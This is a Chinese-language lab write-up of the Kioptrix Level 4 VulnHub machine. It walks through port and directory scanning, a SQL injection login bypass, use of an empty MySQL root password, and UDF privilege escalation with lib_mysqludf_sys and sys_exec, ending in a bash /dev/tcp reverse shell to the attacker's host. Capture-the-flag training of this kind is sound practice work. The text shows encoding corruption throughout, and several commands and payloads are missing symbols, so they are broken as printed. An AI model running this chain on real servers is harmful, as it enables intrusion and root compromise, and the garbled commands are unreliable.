試實(shí)戰(zhàn):從SQL注入到UDF提權(quán)全記錄)
經(jīng)常有新人問(wèn)我練滲透測(cè)試到底該從哪里入手我每次都會(huì)提到一個(gè)老靶機(jī)系列——Kioptrix。它不像現(xiàn)在那些動(dòng)不動(dòng)就上容器逃逸、域滲透的靶場(chǎng)那么燒腦但對(duì)打基礎(chǔ)來(lái)說(shuō)含金量極高。尤其到了Level 4難度開(kāi)始從“純考點(diǎn)集合”向“真實(shí)環(huán)境模擬”過(guò)渡沒(méi)有花哨的攻擊鏈卻非??简?yàn)信息收集的完整度和對(duì)系統(tǒng)底層機(jī)制的理解程度。這臺(tái)靶機(jī)我前后打過(guò)好幾遍每次重打都會(huì)發(fā)現(xiàn)一些之前遺漏的細(xì)節(jié)。這次專門(mén)把完整過(guò)程梳理出來(lái)從網(wǎng)絡(luò)探測(cè)到最終拿root每一步都附上當(dāng)時(shí)的思考過(guò)程和我踩過(guò)的坑。如果你正在刷VulnHub的初級(jí)到中級(jí)過(guò)渡題這篇文章應(yīng)該能幫你省下不少繞彎子的時(shí)間。1. 靶機(jī)背景與整體思路拆解1.1 這是個(gè)什么靶機(jī)Kioptrix Level 4是VulnHub上一個(gè)很經(jīng)典的老牌滲透訓(xùn)練靶機(jī)作者是Kioptrix系列的老玩家都不陌生的那位。整個(gè)系列一共五臺(tái)Level 4排在第四難度定位大概在“中等偏下”到“中等”之間。和前三臺(tái)相比它保留了老系統(tǒng)常見(jiàn)的攻擊面但不再那么簡(jiǎn)單粗暴——不是隨便掃到個(gè)漏洞直接打就完事了中間會(huì)卡你幾下逼著你去讀源碼、猜路徑、翻日志。靶機(jī)本身運(yùn)行的是老版本Linux發(fā)行版具體是CentOS還是別的你掃描之后就能看出來(lái)。系統(tǒng)里預(yù)裝了一些自帶漏洞的軟件核心考點(diǎn)集中在Web應(yīng)用層面和一個(gè)非常經(jīng)典的本地提權(quán)手法上。整臺(tái)機(jī)器打通下來(lái)你需要的知識(shí)棧包括nmap掃描、目錄爆破、源碼審計(jì)、MySQL數(shù)據(jù)庫(kù)操作、SQL注入手法、以及一個(gè)已經(jīng)快被寫(xiě)爛但依然值得親手做一遍的UDF提權(quán)。1.2 打這臺(tái)靶機(jī)能練什么如果說(shuō)Level 1練的是“掃到開(kāi)放端口就找對(duì)應(yīng)漏洞直接打”那Level 4練的則是“如何在多個(gè)攻擊面中篩選出真正能走通的那條路”。這臺(tái)靶機(jī)上你至少會(huì)遇到這些情況開(kāi)放端口不止一個(gè)但直接打過(guò)去會(huì)發(fā)現(xiàn)很多都不通網(wǎng)站源碼里藏著重要線索但你不一定第一眼就能看出來(lái)數(shù)據(jù)庫(kù)能連上但能不能利用成功取決于你懂不懂MySQL的機(jī)制提權(quán)手法很經(jīng)典但卡住的人也不少所以這臺(tái)靶機(jī)真正的價(jià)值不在于它有多難而在于它逼著你建立一套“假設(shè)-驗(yàn)證-調(diào)整”的打靶方法論。你在真題、實(shí)戰(zhàn)里遇到的大部分情況其實(shí)也都是這個(gè)流程。1.3 常規(guī)的解題流程我習(xí)慣把整套流程拆成五個(gè)階段網(wǎng)絡(luò)發(fā)現(xiàn)確定靶機(jī)IP摸清開(kāi)放的端口和服務(wù)Web信息收集訪問(wèn)站點(diǎn)掃描目錄讀源碼找邏輯漏洞Web應(yīng)用攻擊找到可疑入口嘗試注入內(nèi)網(wǎng)橫向利用數(shù)據(jù)庫(kù)或WebShell獲取系統(tǒng)普通用戶權(quán)限或直接獲得命令執(zhí)行能力本地提權(quán)收集系統(tǒng)信息利用內(nèi)核或服務(wù)配置漏洞提權(quán)到root這個(gè)流程從頭到尾走完差不多就是一次真實(shí)的滲透測(cè)試項(xiàng)目縮影。下面我按照這個(gè)順序把每一步的實(shí)際操作和思考過(guò)程寫(xiě)出來(lái)。2. 信息收集階段的關(guān)鍵操作2.1 定位靶機(jī)IP靶機(jī)用虛擬機(jī)裝好之后第一步永遠(yuǎn)是確認(rèn)它在這個(gè)網(wǎng)絡(luò)里的地址。我的環(huán)境用的是VMware攻擊機(jī)和靶機(jī)都掛在同一個(gè)NAT網(wǎng)段下。最方便的方式是直接查看DHCP租約列表或者你干脆用nmap掃描整個(gè)網(wǎng)段靠開(kāi)放的端口特征判斷哪臺(tái)是靶機(jī)。如果你的攻擊機(jī)是Kali通常靶機(jī)會(huì)分配到一個(gè)形如192.168.x.x的地址。我打的時(shí)候靶機(jī)IP是192.168.1.115下面所有操作都基于這個(gè)地址展開(kāi)老規(guī)矩先說(shuō)清楚免得你照抄命令的時(shí)候?qū)Σ簧咸?hào)。2.2 端口掃描與服務(wù)識(shí)別拿到IP之后先用nmap做一個(gè)全端口掃描。這一步不要偷懶只掃常用端口靶機(jī)有時(shí)候會(huì)把服務(wù)放在高位端口上。我用的命令是nmap -sS -sV -Pn -p- -T4 192.168.1.115參數(shù)說(shuō)明一下-sSTCP SYN半開(kāi)掃描速度快-sV識(shí)別服務(wù)版本這一步很重要-Pn因?yàn)榘袡C(jī)可能禁ping直接用這個(gè)參數(shù)跳過(guò)主機(jī)發(fā)現(xiàn)-p-全端口掃描注意這個(gè)參數(shù)掃得慢但值得等-T4加速掃描掃描結(jié)果會(huì)看到幾個(gè)端口是開(kāi)放的具體到不同版本可能略有差異但核心服務(wù)基本逃不出這幾個(gè)SSH、HTTP、MySQL這幾個(gè)大概率都是在的。這里有一個(gè)點(diǎn)我要單獨(dú)拎出來(lái)說(shuō)端口掃描只是第一步服務(wù)版本信息才是后續(xù)利用的關(guān)鍵。比如你掃出來(lái)HTTP服務(wù)那接下來(lái)就要看它是什么軟件、什么版本、有沒(méi)有已知漏洞掃出來(lái)MySQL那你就要想這個(gè)版本能不能匿名登錄、能不能UDF提權(quán)。很多人打靶機(jī)卡住不是技術(shù)不行是第一步信息收集就沒(méi)做完整。2.3 目錄枚舉與源碼線索發(fā)現(xiàn)端口掃描完成之后我習(xí)慣先去看Web服務(wù)。瀏覽器打開(kāi)http://192.168.1.115你會(huì)看到一個(gè)默認(rèn)的Web頁(yè)面非常樸素看不出有什么明顯功能。這時(shí)候就需要做目錄枚舉了。常見(jiàn)的工具是dirb、dirsearch或者gobuster。我個(gè)人還是更喜歡dirb老而彌堅(jiān)字典也夠用。命令大概這樣dirb http://192.168.1.115 /usr/share/wordlists/dirb/common.txt跑完之后會(huì)吐出一堆路徑有些返回403有些返回200。我當(dāng)時(shí)的經(jīng)驗(yàn)是重點(diǎn)關(guān)注返回200但看起來(lái)非常不起眼的路徑尤其是一些帶舊版本號(hào)特征的目錄。這臺(tái)靶機(jī)的關(guān)鍵線索就在源碼里。你把站點(diǎn)根目錄的HTML源碼拉下來(lái)看會(huì)發(fā)現(xiàn)里面有一個(gè)注釋指向一個(gè)舊版管理后臺(tái)的路徑。打靶的時(shí)候養(yǎng)成看源碼的習(xí)慣永遠(yuǎn)不虧?,F(xiàn)在很多網(wǎng)站的信息泄露就是從小小的注釋開(kāi)始的。順著這個(gè)路徑訪問(wèn)過(guò)去你會(huì)看到一個(gè)登錄框或者一個(gè)看起來(lái)非常古早的管理頁(yè)面。這個(gè)頁(yè)面從視覺(jué)上就能告訴你這玩意兒八成是老版本CMS或者老論壇程序。接下來(lái)就是考驗(yàn)?zāi)恪罢J(rèn)版本”能力的時(shí)候了。3. Web漏洞利用與MySQL入口3.1 識(shí)別CMS與已知漏洞看到那個(gè)管理后臺(tái)頁(yè)面之后先別急著登錄。退出頁(yè)面看URL結(jié)構(gòu)、頁(yè)面底部的版權(quán)聲明、或者HTML里的generator meta標(biāo)簽這些位置經(jīng)常會(huì)暴露CMS的程序名稱和版本號(hào)。我記得當(dāng)時(shí)識(shí)別出來(lái)的是一個(gè)已經(jīng)很老的內(nèi)容管理系統(tǒng)。老版本最大的特點(diǎn)就是有公開(kāi)的漏洞庫(kù)記錄。你用searchsploit搜一下對(duì)應(yīng)版本能找到好幾個(gè)利用腳本。但這里我不建議盲目直接上exploit腳本因?yàn)楹芏嗬夏_本在現(xiàn)在的環(huán)境里跑不起來(lái)你還需要適配、調(diào)試反而浪費(fèi)時(shí)間。我當(dāng)時(shí)是走了一條更“手工”的路注意到這個(gè)CMS后臺(tái)的登錄邏輯里存在SQL注入點(diǎn)。這類老程序在登錄處拼接SQL語(yǔ)句是常規(guī)操作現(xiàn)在當(dāng)然很少見(jiàn)了但在靶機(jī)里考的就是你能不能抓住這種機(jī)會(huì)。3.2 手工SQL注入繞過(guò)登錄如果你嘗試用萬(wàn)能密碼或者簡(jiǎn)單的admin/admin這類弱口令登錄大概率會(huì)失敗。這個(gè)時(shí)候可以把請(qǐng)求抓下來(lái)看一下邏輯。使用Burp Suite攔截登錄請(qǐng)求你會(huì)看到一個(gè)POST請(qǐng)求把用戶名和密碼字段發(fā)給服務(wù)器。把密碼字段改成一段閉合的單引號(hào)觀察返回結(jié)果是否有變化。經(jīng)典的萬(wàn)能密碼形式 or 11 --這種在正確閉合的情況下可以繞過(guò)登錄判斷。這里有一個(gè)經(jīng)常被新人忽略的細(xì)節(jié)目標(biāo)系統(tǒng)如果是PHPMySQL的組合注釋符要用--注意后面有個(gè)空格或者#否則閉合不掉后面的引號(hào)。我當(dāng)年栽過(guò)這個(gè)跟頭盲試了很久不成功就是因?yàn)榫幋a問(wèn)題把那兩個(gè)短橫線后面的空格吃掉了。用SQL注入繞過(guò)登錄之后你就進(jìn)入后臺(tái)了。后臺(tái)可能會(huì)暴露一些數(shù)據(jù)庫(kù)連接信息、服務(wù)器配置信息也可能在后臺(tái)頁(yè)面里直接有執(zhí)行SQL查詢的入口。我當(dāng)時(shí)是看到后臺(tái)提供了一個(gè)可以執(zhí)行SQL語(yǔ)句的模塊也就是說(shuō)你現(xiàn)在已經(jīng)有了數(shù)據(jù)庫(kù)交互能力。3.3 獲取數(shù)據(jù)庫(kù)配置與連接信息進(jìn)入后臺(tái)之后有一個(gè)東西一定要重點(diǎn)找數(shù)據(jù)庫(kù)配置文件。這套老CMS的配置文件名一般來(lái)說(shuō)很固定例如config.php或db.php這種命名規(guī)律。雖然你在瀏覽器上看不見(jiàn)這些文件內(nèi)容但如果通過(guò)某個(gè)功能點(diǎn)能讀到服務(wù)器文件內(nèi)容比如備份功能或者編輯器漏洞你就能直接拿到數(shù)據(jù)庫(kù)的賬號(hào)密碼。另外一個(gè)思路是既然后臺(tái)能執(zhí)行SQL直接查詢mysql.user表看有哪些用戶可以遠(yuǎn)程登錄?;蛘咧苯铀阉鰿MS的配置表里面通常存了完整的數(shù)據(jù)庫(kù)名和賬號(hào)。我在實(shí)際操作中發(fā)現(xiàn)這臺(tái)靶機(jī)的數(shù)據(jù)庫(kù)root賬號(hào)密碼是空的或者非常簡(jiǎn)單而且MySQL服務(wù)允許root用戶從任意主機(jī)登錄。這意味著什么意味著你可以從攻擊機(jī)上直接用MySQL客戶端連過(guò)去。這是一個(gè)非常典型的配置漏洞開(kāi)發(fā)人員裝完MySQL后沒(méi)改root密碼也沒(méi)做主機(jī)訪問(wèn)限制。3.4 連接MySQL并確認(rèn)權(quán)限確認(rèn)數(shù)據(jù)庫(kù)能連接之后命令行敲mysql -h 192.168.1.115 -u root -p密碼直接按回車因?yàn)榭彰艽a。如果能順利連上你已經(jīng)成功了一大半。連上之后老規(guī)矩select version(); select user(); select hostname;這三個(gè)語(yǔ)句分別是看數(shù)據(jù)庫(kù)版本、當(dāng)前登錄用戶、主機(jī)名。拿到版本號(hào)之后你要做一件事看這個(gè)MySQL版本支不支持UDF提權(quán)。UDF是用戶定義函數(shù)的縮寫(xiě)全稱User Defined Function。簡(jiǎn)單說(shuō)MySQL允許你寫(xiě)一個(gè)動(dòng)態(tài)鏈接庫(kù).so文件里面定義自己的函數(shù)然后在SQL語(yǔ)句里直接調(diào)用這個(gè)函數(shù)。如果這個(gè)函數(shù)內(nèi)部執(zhí)行了系統(tǒng)命令那你就相當(dāng)于在數(shù)據(jù)庫(kù)服務(wù)器上獲得了命令執(zhí)行能力。UDF提權(quán)在MySQL中通常用于本地提權(quán)前提是你已經(jīng)拿到了一個(gè)能登錄MySQL的賬號(hào)且具有寫(xiě)入plugin目錄的權(quán)限。確認(rèn)版本之后下一步就是準(zhǔn)備UDF利用。4. UDF提權(quán)全流程實(shí)操4.1 UDF提權(quán)的原理與適用條件先把原理說(shuō)透。MySQL擴(kuò)展UDF功能本質(zhì)上就是允許用戶自定義函數(shù)這些函數(shù)以編譯好的動(dòng)態(tài)庫(kù)形式存放在指定的plugin目錄里然后通過(guò)CREATE FUNCTION語(yǔ)句注冊(cè)到數(shù)據(jù)庫(kù)中。攻擊者要做的事情三步把一個(gè)編譯好的UDF動(dòng)態(tài)庫(kù)上傳到MySQL的plugin目錄用SQL語(yǔ)句注冊(cè)這個(gè)動(dòng)態(tài)庫(kù)里的函數(shù)調(diào)用函數(shù)執(zhí)行系統(tǒng)命令獲得一個(gè)高權(quán)限Shell適用條件有幾個(gè)缺一不可有權(quán)限連接MySQL有權(quán)限向MySQL的plugin目錄寫(xiě)入文件通常需要root權(quán)限或FILE權(quán)限MySQL服務(wù)以高權(quán)限運(yùn)行默認(rèn)root這就是為什么我前面強(qiáng)調(diào)要確認(rèn)數(shù)據(jù)庫(kù)版本和當(dāng)前用戶權(quán)限。如果user()顯示的是rootlocalhost那就說(shuō)明條件基本滿足值得往下試。4.2 確認(rèn)plugin目錄UDF動(dòng)態(tài)庫(kù)要寫(xiě)入的目錄叫plugin目錄。不同版本的MySQL默認(rèn)plugin目錄不一樣。你可以用SQL語(yǔ)句直接查show variables like plugin_dir;也可以查plugin_dirselect plugin_dir;我當(dāng)時(shí)的輸出顯示是在/usr/lib64/mysql/plugin這個(gè)路徑。記住這個(gè)路徑后面上傳文件要用。這里有個(gè)坑如果你的MySQL是5.1版本以上的plugin目錄是默認(rèn)存在且固定路徑的但如果是老版本5.0甚至更早plugin目錄可能需要你自己創(chuàng)建。具體看這臺(tái)靶機(jī)情況我當(dāng)時(shí)查到的版本是5.x目錄是現(xiàn)成的。4.3 編譯或獲取UDF動(dòng)態(tài)庫(kù)這一步是卡住最多人的地方。網(wǎng)上很多教程讓你直接用現(xiàn)成的lib_mysqludf_sys.so但如果你用的攻擊機(jī)Kali和靶機(jī)的操作系統(tǒng)架構(gòu)、glibc版本不一致直接傳上去大概率加載失敗。我當(dāng)時(shí)的做法是直接在Kali上編譯一個(gè)干凈的UDF動(dòng)態(tài)庫(kù)。你需要下載UDF的源碼然后在Kali上執(zhí)行編譯git clone https://github.com/mysqludf/lib_mysqludf_sys.git cd lib_mysqludf_sys編譯之前確認(rèn)你的Kali裝了gcc和mysql相關(guān)頭文件。我用的是apt install gcc libmysqlclient-dev然后編譯gcc -shared -fPIC -o lib_mysqludf_sys.so lib_mysqludf_sys.c -I/usr/include/mysql -L/usr/lib/mysql -lmysqlclient編譯完成后你會(huì)得到一個(gè)lib_mysqludf_sys.so文件。這個(gè)文件里面定義了一個(gè)關(guān)鍵函數(shù)叫sys_exec作用就是執(zhí)行系統(tǒng)命令。提示如果編譯環(huán)境不匹配最穩(wěn)妥的辦法是找一臺(tái)和靶機(jī)相同操作系統(tǒng)、相同架構(gòu)的虛擬機(jī)在上面編譯。很多人UDF提權(quán)失敗查到最后都是因?yàn)閯?dòng)態(tài)庫(kù)格式錯(cuò)誤服務(wù)加載的時(shí)候直接報(bào)cannot open shared object file。這個(gè)我倒是在后面給你列了排查表。4.4 通過(guò)MySQL上傳動(dòng)態(tài)庫(kù)動(dòng)態(tài)庫(kù)文件現(xiàn)在在你的攻擊機(jī)本地你要做的事情是把它以十六進(jìn)制文本的形式寫(xiě)入MySQL數(shù)據(jù)庫(kù)然后通過(guò)MySQL的SELECT ... INTO DUMPFILE語(yǔ)句導(dǎo)出到plugin目錄。整體流程是這樣的先在本地把UDF動(dòng)態(tài)庫(kù)文件轉(zhuǎn)換成十六進(jìn)制文本。我用的命令xxd -p lib_mysqludf_sys.so | tr -d \n udf_hex.txt然后用Python把十六進(jìn)制文本拼接成一條超長(zhǎng)的SQL語(yǔ)句。這一步用腳本生成比較簡(jiǎn)單手寫(xiě)不現(xiàn)實(shí)。我當(dāng)時(shí)用的思路是先連接MySQL把十六進(jìn)制文本存入一個(gè)臨時(shí)表然后再導(dǎo)出。用到SQL大概是這個(gè)樣子簡(jiǎn)化描述create table temp(data longblob); insert into temp(data) values (0xHEXSTRING); select data from temp into dumpfile /usr/lib64/mysql/plugin/lib_mysqludf_sys.so;這個(gè)dumpfile和outfile的區(qū)別你要注意dumpfile不會(huì)對(duì)文件做任何轉(zhuǎn)義處理適合寫(xiě)入二進(jìn)制文件outfile會(huì)寫(xiě)入字段值并且會(huì)換行適合導(dǎo)出文本。寫(xiě)動(dòng)態(tài)庫(kù)用dumpfile別用outfile否則文件損壞。4.5 注冊(cè)函數(shù)并執(zhí)行命令動(dòng)態(tài)庫(kù)放進(jìn)去之后接下來(lái)就是注冊(cè)函數(shù)create function sys_exec returns string soname lib_mysqludf_sys.so;沒(méi)有報(bào)錯(cuò)的話就可以直接調(diào)用select sys_exec(id /tmp/udf_test.txt);然后去靶機(jī)上看/tmp/udf_test.txt的內(nèi)容如果是uid0(root)那就說(shuō)明命令執(zhí)行成功并且已經(jīng)是root權(quán)限了。到這一步你已經(jīng)通過(guò)數(shù)據(jù)庫(kù)拿到了一個(gè)root身份的命令執(zhí)行環(huán)境。接下來(lái)就是把命令執(zhí)行的權(quán)限變成一個(gè)真正可交互的Shell這里通常用反彈Shell。在SQL里直接調(diào)用sys_exec執(zhí)行bash反彈命令即可只是要注意命令里的特殊字符轉(zhuǎn)義問(wèn)題。我在當(dāng)時(shí)的反彈命令大概是這樣的思路先用sys_exec執(zhí)行一條帶/bin/bash -i /dev/tcp/攻擊機(jī)IP/端口 01的sh命令。這里要注意把重定向符號(hào)做處理因?yàn)镸ySQL會(huì)用反引號(hào)執(zhí)行系統(tǒng)命令容易出歧義。通常我會(huì)先用sys_exec把一條shell腳本寫(xiě)到靶機(jī)/tmp目錄然后再執(zhí)行這個(gè)腳本能省去很多轉(zhuǎn)義方面的麻煩。4.6 拿到root Shell后的信息收集拿到root Shell以后這臺(tái)靶機(jī)在技術(shù)層面上就算打通了。但我建議你多留一步收集系統(tǒng)信息把整個(gè)攻擊流程補(bǔ)充完整。我一般會(huì)看這么幾個(gè)地方cat /etc/passwd uname -a cat /root/flag.txt這臺(tái)靶機(jī)有沒(méi)有旗標(biāo)文件是次要的更重要的是你可以借此機(jī)會(huì)看一下靶機(jī)系統(tǒng)里裝了哪些東西、有沒(méi)有其他用戶、開(kāi)場(chǎng)時(shí)的系統(tǒng)版本信息是什么。這些東西能幫你反推如果這是一臺(tái)真實(shí)的生產(chǎn)服務(wù)器當(dāng)初是怎么被人搞進(jìn)來(lái)的。5. 踩坑記錄與問(wèn)題排查5.1 UDF文件加載失敗這是UDF提權(quán)里最常見(jiàn)的問(wèn)題。你執(zhí)行create function的時(shí)候數(shù)據(jù)庫(kù)直接報(bào)錯(cuò)Cant open shared library lib_mysqludf_sys.so。原因基本就兩個(gè)文件路徑不對(duì)plugin目錄里的文件名和你create function ... soname后面寫(xiě)的名字不完全一致動(dòng)態(tài)庫(kù)格式不兼容32位和64位不匹配或者glibc版本不對(duì)排查方法show variables like plugin_dir;確認(rèn)目錄之后用ls -la檢查文件是否存在再通過(guò)file命令檢查動(dòng)態(tài)庫(kù)架構(gòu)格式。5.2 命令執(zhí)行卻看不到輸出有時(shí)候sys_exec執(zhí)行了但你不知道它有沒(méi)有成功。別慌把你執(zhí)行的命令結(jié)果重定向到一個(gè)文件然后用load_file()函數(shù)讀取select load_file(/tmp/udf_test.txt);這個(gè)技巧特別好用相當(dāng)于給MySQL裝了一個(gè)文件讀取功能。5.3 數(shù)據(jù)庫(kù)連接不上如果靶機(jī)MySQL端口是開(kāi)放的但你從攻擊機(jī)連不上常見(jiàn)情況MySQL授權(quán)表只允許localhost登錄防火墻攔了3306端口端口掃描階段沒(méi)掃出來(lái)實(shí)際是換了端口這種情況下你得回到Web后臺(tái)的SQL執(zhí)行能力直接用本地的SQL語(yǔ)句操作數(shù)據(jù)庫(kù)或者在后臺(tái)的功能模塊里找線索看看是否另有出路。5.4 目錄掃描結(jié)果太多看不過(guò)來(lái)第一次掃目錄的時(shí)候垃圾結(jié)果會(huì)淹沒(méi)真正的線索。我的建議是不要只靠工具自動(dòng)跑一定要結(jié)合源碼審計(jì)。先把首頁(yè)HTML源碼打開(kāi)看重點(diǎn)找a標(biāo)簽和注釋再把掃描出的可疑目錄挨個(gè)用瀏覽器打開(kāi)看頁(yè)面內(nèi)容和響應(yīng)頭最后按照系統(tǒng)指紋去搜已知漏洞。三者結(jié)合比單純跑字典高效得多。5.5 快速排查速查表問(wèn)題現(xiàn)象可能原因解決方法MySQL連接被拒賬號(hào)權(quán)限限制或遠(yuǎn)程訪問(wèn)未開(kāi)啟檢查授權(quán)表或找到本地SQL入口create function報(bào)錯(cuò)plugin路徑不對(duì)或.so格式不兼容查plugin_dir檢查file輸出sys_exec無(wú)反應(yīng)函數(shù)注冊(cè)失敗或命令寫(xiě)法有誤重定向輸出到文件后load_file驗(yàn)證Web后臺(tái)登錄不了注入語(yǔ)句閉合不正確嘗試 or 11 --、#注釋符反彈Shell半天不回來(lái)命令轉(zhuǎn)義問(wèn)題或網(wǎng)絡(luò)不通先寫(xiě)腳本再執(zhí)行或用curl外帶驗(yàn)證6. 寫(xiě)在最后的題外話Kioptrix Level 4整個(gè)過(guò)程走下來(lái)耗時(shí)最多的地方幾乎都在“確認(rèn)環(huán)境”和“適配利用代碼”這兩件事上。這臺(tái)靶機(jī)的核心考點(diǎn)并不難難的是你有沒(méi)有耐心在報(bào)錯(cuò)之后去查原因而不是換了工具繼續(xù)盲試。我個(gè)人的經(jīng)驗(yàn)是打靶機(jī)不要以“打通”為唯一目標(biāo)每臺(tái)靶機(jī)至少要打兩遍。第一遍正常打第二遍刻意不用現(xiàn)有的exp腳本全部走手工流程——手工注入、手工編譯UDF、手工反彈Shell。這樣練過(guò)之后你在真實(shí)環(huán)境里遇到類似場(chǎng)景哪怕工具全失靈心里也有一套完整的替代方案。如果你正準(zhǔn)備挑戰(zhàn)Kioptrix系列的后續(xù)關(guān)卡或者開(kāi)始接觸其他更復(fù)雜的靶場(chǎng)請(qǐng)記住我在前面反復(fù)強(qiáng)調(diào)的那個(gè)習(xí)慣先讀源碼、再查版本、最后才選利用方式。大多數(shù)攻不進(jìn)去的案例復(fù)盤(pán)到最后都是信息收集沒(méi)做足。